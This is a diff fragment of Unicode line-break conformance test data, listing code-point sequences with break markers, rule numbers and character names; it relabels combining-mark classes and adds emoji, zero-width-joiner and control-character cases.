-× 2024 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 2024 × 0308 ÷ 05D0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 05D0 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HEBREW LETTER ALEF (HL) ÷ [0.3]
× 2024 × 002D ÷ # × [0.3] ONE DOT LEADER (IN) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
× 2024 × 0020 ÷ 002D ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
-× 2024 × 0308 × 002D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 002D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
+× 2024 × 0308 × 002D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.02] HYPHEN-MINUS (HY) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 002D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HYPHEN-MINUS (HY) ÷ [0.3]
× 2024 ÷ 231A ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] WATCH (ID) ÷ [0.3]
× 2024 × 0020 ÷ 231A ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
-× 2024 × 0308 ÷ 231A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 231A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
+× 2024 × 0308 ÷ 231A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WATCH (ID) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 231A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WATCH (ID) ÷ [0.3]
× 2024 × 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [22.04] ONE DOT LEADER (IN) ÷ [0.3]
× 2024 × 0020 ÷ 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
-× 2024 × 0308 × 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [22.04] ONE DOT LEADER (IN) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
+× 2024 × 0308 × 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [22.04] ONE DOT LEADER (IN) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 2024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ONE DOT LEADER (IN) ÷ [0.3]
× 2024 × 002C ÷ # × [0.3] ONE DOT LEADER (IN) × [13.02] COMMA (IS) ÷ [0.3]
× 2024 × 0020 × 002C ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
-× 2024 × 0308 × 002C ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [13.03] COMMA (IS) ÷ [0.3]
-× 2024 × 0308 × 0020 × 002C ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
+× 2024 × 0308 × 002C ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] COMMA (IS) ÷ [0.3]
+× 2024 × 0308 × 0020 × 002C ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] COMMA (IS) ÷ [0.3]
× 2024 ÷ 1100 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 2024 × 0020 ÷ 1100 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 2024 × 0308 ÷ 1100 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 2024 × 0308 ÷ 1100 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 1100 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL CHOSEONG KIYEOK (JL) ÷ [0.3]
× 2024 ÷ 11A8 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 2024 × 0020 ÷ 11A8 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 2024 × 0308 ÷ 11A8 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 2024 × 0308 ÷ 11A8 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 11A8 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JONGSEONG KIYEOK (JT) ÷ [0.3]
× 2024 ÷ 1160 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 2024 × 0020 ÷ 1160 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 2024 × 0308 ÷ 1160 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 2024 × 0308 ÷ 1160 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 1160 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] HANGUL JUNGSEONG FILLER (JV) ÷ [0.3]
× 2024 × 000A ÷ # × [0.3] ONE DOT LEADER (IN) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 2024 × 0020 × 000A ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 2024 × 0308 × 000A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
-× 2024 × 0308 × 0020 × 000A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 2024 × 0308 × 000A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
+× 2024 × 0308 × 0020 × 000A ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <LINE FEED (LF)> (LF) ÷ [0.3]
× 2024 × 0085 ÷ # × [0.3] ONE DOT LEADER (IN) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 2024 × 0020 × 0085 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 2024 × 0308 × 0085 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
-× 2024 × 0308 × 0020 × 0085 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 2024 × 0308 × 0085 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
+× 2024 × 0308 × 0020 × 0085 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [6.0] <NEXT LINE (NEL)> (NL) ÷ [0.3]
× 2024 × 17D6 ÷ # × [0.3] ONE DOT LEADER (IN) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 2024 × 0020 ÷ 17D6 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 2024 × 0308 × 17D6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 2024 × 0308 × 17D6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [21.03] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 17D6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] KHMER SIGN CAMNUC PII KUUH (NS) ÷ [0.3]
× 2024 ÷ 0030 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
× 2024 × 0020 ÷ 0030 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
-× 2024 × 0308 ÷ 0030 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
+× 2024 × 0308 ÷ 0030 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DIGIT ZERO (NU) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0030 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DIGIT ZERO (NU) ÷ [0.3]
× 2024 ÷ 0028 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 2024 × 0020 ÷ 0028 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 2024 × 0308 ÷ 0028 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 2024 × 0308 ÷ 0028 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] LEFT PARENTHESIS (OP) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0028 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] LEFT PARENTHESIS (OP) ÷ [0.3]
× 2024 ÷ 0025 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
× 2024 × 0020 ÷ 0025 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
-× 2024 × 0308 ÷ 0025 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
+× 2024 × 0308 ÷ 0025 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] PERCENT SIGN (PO) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0025 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] PERCENT SIGN (PO) ÷ [0.3]
× 2024 ÷ 0024 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
× 2024 × 0020 ÷ 0024 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 2024 × 0308 ÷ 0024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 2024 × 0308 ÷ 0024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] DOLLAR SIGN (PR) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0024 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] DOLLAR SIGN (PR) ÷ [0.3]
× 2024 × 0022 ÷ # × [0.3] ONE DOT LEADER (IN) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
× 2024 × 0020 ÷ 0022 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
-× 2024 × 0308 × 0022 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
+× 2024 × 0308 × 0022 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [19.01] QUOTATION MARK (QU) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0022 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] QUOTATION MARK (QU) ÷ [0.3]
× 2024 × 0020 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [0.3]
× 2024 × 0020 × 0020 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [0.3]
-× 2024 × 0308 × 0020 × 0020 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [0.3]
+× 2024 × 0308 × 0020 × 0020 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.01] SPACE (SP) ÷ [0.3]
× 2024 × 002F ÷ # × [0.3] ONE DOT LEADER (IN) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 2024 × 0020 × 002F ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
-× 2024 × 0308 × 002F ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
-× 2024 × 0308 × 0020 × 002F ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
+× 2024 × 0308 × 002F ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [13.03] SOLIDUS (SY) ÷ [0.3]
+× 2024 × 0308 × 0020 × 002F ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [13.02] SOLIDUS (SY) ÷ [0.3]
× 2024 × 2060 ÷ # × [0.3] ONE DOT LEADER (IN) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 2024 × 0020 × 2060 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 2024 × 0308 × 2060 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
-× 2024 × 0308 × 0020 × 2060 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2024 × 0308 × 2060 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [11.01] WORD JOINER (WJ) ÷ [0.3]
+× 2024 × 0308 × 0020 × 2060 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [11.01] WORD JOINER (WJ) ÷ [0.3]
× 2024 × 200B ÷ # × [0.3] ONE DOT LEADER (IN) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 2024 × 0020 × 200B ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 2024 × 0308 × 200B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
-× 2024 × 0308 × 0020 × 200B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 2024 × 0308 × 200B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
+× 2024 × 0308 × 0020 × 200B ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) × [7.02] ZERO WIDTH SPACE (ZW) ÷ [0.3]
× 2024 ÷ 1F1E6 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
× 2024 × 0020 ÷ 1F1E6 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 2024 × 0308 ÷ 1F1E6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2024 × 0308 ÷ 1F1E6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 1F1E6 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] REGIONAL INDICATOR SYMBOL LETTER A (RI) ÷ [0.3]
+× 2024 ÷ 261D ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2024 × 0020 ÷ 261D ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2024 × 0308 ÷ 261D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 261D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] WHITE UP POINTING INDEX (EB) ÷ [0.3]
+× 2024 ÷ 1F3FB ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2024 × 0020 ÷ 1F3FB ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2024 × 0308 ÷ 1F3FB ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 1F3FB ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] EMOJI MODIFIER FITZPATRICK TYPE-1-2 (EM) ÷ [0.3]
+× 2024 × 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2024 × 0020 ÷ 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2024 × 0308 × 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 0001 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] <START OF HEADING> (CM1_CM) ÷ [0.3]
+× 2024 × 200D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2024 × 0020 ÷ 200D ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2024 × 0308 × 200D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [9.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 200D ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] ZERO WIDTH JOINER (ZWJ_O_ZWJ_CM) ÷ [0.3]
× 2024 ÷ 00A7 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 2024 × 0020 ÷ 00A7 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 2024 × 0308 ÷ 00A7 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 2024 × 0308 ÷ 00A7 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) ÷ [999.0] SECTION SIGN (AI_AL) ÷ [0.3]
+× 2024 × 0308 × 0020 ÷ 00A7 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM1_CM) × [7.01] SPACE (SP) ÷ [18.0] SECTION SIGN (AI_AL) ÷ [0.3]
× 2024 ÷ 50005 ÷ # × [0.3] ONE DOT LEADER (IN) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
× 2024 × 0020 ÷ 50005 ÷ # × [0.3] ONE DOT LEADER (IN) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 2024 × 0308 ÷ 50005 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) ÷ [999.0] <reserved-50005> (XX_AL) ÷ [0.3]
-× 2024 × 0308 × 0020 ÷ 50005 ÷ # × [0.3] ONE DOT LEADER (IN) × [9.0] COMBINING DIAERESIS (CM) × [7.01] SPACE (SP) ÷ [18.0] <reserved-50005> (XX_AL) ÷ [0.3]
